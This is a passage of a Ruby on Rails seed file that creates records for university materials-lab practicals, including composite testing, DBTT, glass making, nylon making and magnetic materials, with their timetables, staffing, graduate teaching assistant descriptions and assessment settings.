in_drive: false, user_id: 1)\n at443 = ActivityTimetable.where(activity_id: a443.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a443.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a443.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a443.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a443.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a443.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a444 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode9\").first_or_create!(name: \"Danger Lab\",\n name_abrv: \"DANGER\", archived: false, in_drive: false, user_id: 1)\n at444 = ActivityTimetable.where(activity_id: a444.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a444.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a444.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Danger Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a444.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_p2p.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a444.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n\n\n a445 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"216\").first_or_create!(name: \"Danger Lab II\",\n name_abrv: \"DANGER2\", archived: false, in_drive: false, user_id: 3)\n at445 = ActivityTimetable.where(activity_id: a445.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"This is usually run in during the autumn exam period as the GEE students don't have exams, however must avoid exam week 2 due to FCE1001\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a445.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a445.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"GTA in MEE, the Diamond: Danger Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a445.id).first_or_create!(assess_weight: nil, notes: \"Risk Assessment to complete before the session and pre lab. Same 2019/20\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a445.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a445.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a446 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"216\").first_or_create!(name: \"Danger Lab II\",\n name_abrv: \"DANGER2\", archived: false, in_drive: false, user_id: 3)\n at446 = ActivityTimetable.where(activity_id: a446.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a446.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a446.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Danger Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a446.id).first_or_create!(assess_weight: nil, notes: \"Risk Assessment to complete before the session and pre lab. Same 2019/20\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a446.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a446.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a447 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"217\").first_or_create!(name: \"DBTT\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at447 = ActivityTimetable.where(activity_id: a447.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 10, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a447.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a447.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a447.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a447.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a447.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a448 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"217\").first_or_create!(name: \"Ductile to brittle temeperature transition\",\n name_abrv: \"DBTT\", archived: false, in_drive: false, user_id: 4)\n at448 = ActivityTimetable.where(activity_id: a448.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a448.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a448.id).first_or_create!(criteria: \"\",\n job_desc:\"To measure a wide range of mechanical properties.To understand how to calculate DBTT. How processing routes and crystal structure effect important mechanical properties. Techniques used: tensile testing, impact testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a448.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a448.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a448.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a449 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6670\").first.id, code: \"217\").first_or_create!(name: \"DBTT\",\n name_abrv: \"DBTT\", archived: false, in_drive: false, user_id: 1)\n at449 = ActivityTimetable.where(activity_id: a449.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a449.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a449.id).first_or_create!(criteria: \"\",\n job_desc:\"To measure a wide range of mechanical properties.To understand how to calculate DBTT. How processing routes and crystal structure effect important mechanical properties. Techniques used: tensile testing, impact testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a449.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a449.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a449.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a450 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MEC207\").first.id, code: \"217\").first_or_create!(name: \"Ductile to brittle temeperature transition\",\n name_abrv: \"DBTT\", archived: false, in_drive: false, user_id: 2)\n at450 = ActivityTimetable.where(activity_id: a450.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a450.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a450.id).first_or_create!(criteria: \"\",\n job_desc:\"To measure a wide range of mechanical properties.To understand how to calculate DBTT. How processing routes and crystal structure effect important mechanical properties. Techniques used: tensile testing, impact testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a450.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a450.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a450.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a451 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE206\").first.id, code: \"218\").first_or_create!(name: \"Electrical materials\",\n name_abrv: \"ELECMAT\", archived: false, in_drive: false, user_id: 4)\n at451 = ActivityTimetable.where(activity_id: a451.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a451.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a451.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"This practical seeks to give you an understanding of thermistors. These are devices which are thermally sensitive, exhibiting a change in electrical resistance with a change in body temperature. In this practical you will study a commercial NTC thermistor, which is semi-conducting at room temperature.\n Understand the link between resistance, resistivity and conductivity\n Learn the significance of an Arrhenius plot\n Calculate activation energies\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a451.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a451.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a451.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a452 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties of materials I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 5)\n at452 = ActivityTimetable.where(activity_id: a452.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a452.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a452.id).first_or_create!(criteria: \"Hands-on experience on Mechanical Testing Techniques (Tensile Testing, Charpy and Hardness).\",\n job_desc:\"To determine mechanical properties of copper and aluminium, measuring key parameters, performing calculations and generating important plots.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a452.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a452.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a452.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a453 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"218\").first_or_create!(name: \"Electrical materials\",\n name_abrv: \"ELECMAT\", archived: false, in_drive: false, user_id: 3)\n at453 = ActivityTimetable.where(activity_id: a453.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a453.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a453.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"This practical seeks to give you an understanding of thermistors. These are devices which are thermally sensitive, exhibiting a change in electrical resistance with a change in body temperature. In this practical you will study a commercial NTC thermistor, which is semi-conducting at room temperature.\n Understand the link between resistance, resistivity and conductivity\n Learn the significance of an Arrhenius plot\n Calculate activation energies\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a453.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a453.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a453.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a454 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"219\").first_or_create!(name: \"Gas Laws\",\n name_abrv: \"GASLAWS\", archived: false, in_drive: false, user_id: 5)\n at454 = ActivityTimetable.where(activity_id: a454.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a454.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a454.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To apply fundamental gas properties such as Gay-Lussac’s law (or Charles’s law).\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a454.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a454.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a454.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a455 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"220\").first_or_create!(name: \"Glass making\",\n name_abrv: \"GLASSMAKING\", archived: false, in_drive: false, user_id: 1)\n at455 = ActivityTimetable.where(activity_id: a455.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a455.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a455.id).first_or_create!(criteria: \"Hands-on experience of glass making and glass characterisation\",\n job_desc:\"Practical glassmaking, assess qualitatively and quantitatively how different colorants affect the absorption spectrum of a glass.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a455.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a455.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a455.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a456 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"221\").first_or_create!(name: \"Glass testing\",\n name_abrv: \"GLASSTESTING\", archived: false, in_drive: false, user_id: 2)\n at456 = ActivityTimetable.where(activity_id: a456.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a456.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a456.id).first_or_create!(criteria: \"Hands-on experience of glass making and glass characterisation\",\n job_desc:\"Practical glassmaking, assess qualitatively and quantitatively how different colorants affect the absorption spectrum of a glass.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a456.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a456.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a456.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a457 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"222\").first_or_create!(name: \"Nylon making\",\n name_abrv: \"NYLONMAKING\", archived: false, in_drive: false, user_id: 1)\n at457 = ActivityTimetable.where(activity_id: a457.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at457.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a457.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a457.id).first_or_create!(criteria: \"\",\n job_desc:\"This lab practical, which will run in two sessions, seeks to give you knowledge of the characteristics of polymers. The first session will show how polymers are formed and the second session will investigate their mechanical (tensile testing and hardness) and chemical properties.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a457.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a457.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a457.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a458 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6670\").first.id, code: \"222\").first_or_create!(name: \"Nylon making\",\n name_abrv: \"NYLONMAKING\", archived: false, in_drive: false, user_id: 3)\n at458 = ActivityTimetable.where(activity_id: a458.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at458.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a458.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a458.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a458.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a458.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a458.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a459 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"223\").first_or_create!(name: \"Impact testing\",\n name_abrv: \"IMPACTTESTING\", archived: false, in_drive: false, user_id: 4)\n at459 = ActivityTimetable.where(activity_id: a459.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a459.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a459.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will compare the impact toughness for steels of two different composition and two different processing conditions, using impact testers.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a459.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a459.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a459.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a460 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE206\").first.id, code: \"224\").first_or_create!(name: \"Magnetic materials\",\n name_abrv: \"MAGMAT\", archived: false, in_drive: false, user_id: 4)\n at460 = ActivityTimetable.where(activity_id: a460.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a460.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a460.id).first_or_create!(criteria: \"Knowledge of magnetics materials and how to plot and produce a hysteresis loop for magnetic material\",\n job_desc:\"Understand how magnetic fields are generated,\n Learn how to measure field strength.\n Understand the structure of a hysteresis loop.\n Plot and produce a hysteresis loop for a magnetic material.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a460.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a460.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a460.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a461 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"224\").first_or_create!(name: \"Magnetic materials\",\n name_abrv: \"MAGMAT\", archived: false, in_drive: false, user_id: 3)\n at461 = ActivityTimetable.where(activity_id: a461.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a461.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a461.id).first_or_create!(criteria: \"Knowledge of magnetics materials and how to plot and produce a hysteresis loop for magnetic material\",\n job_desc:\"Understand how magnetic fields are generated,\n Learn how to measure field strength.\n Understand the structure of a hysteresis 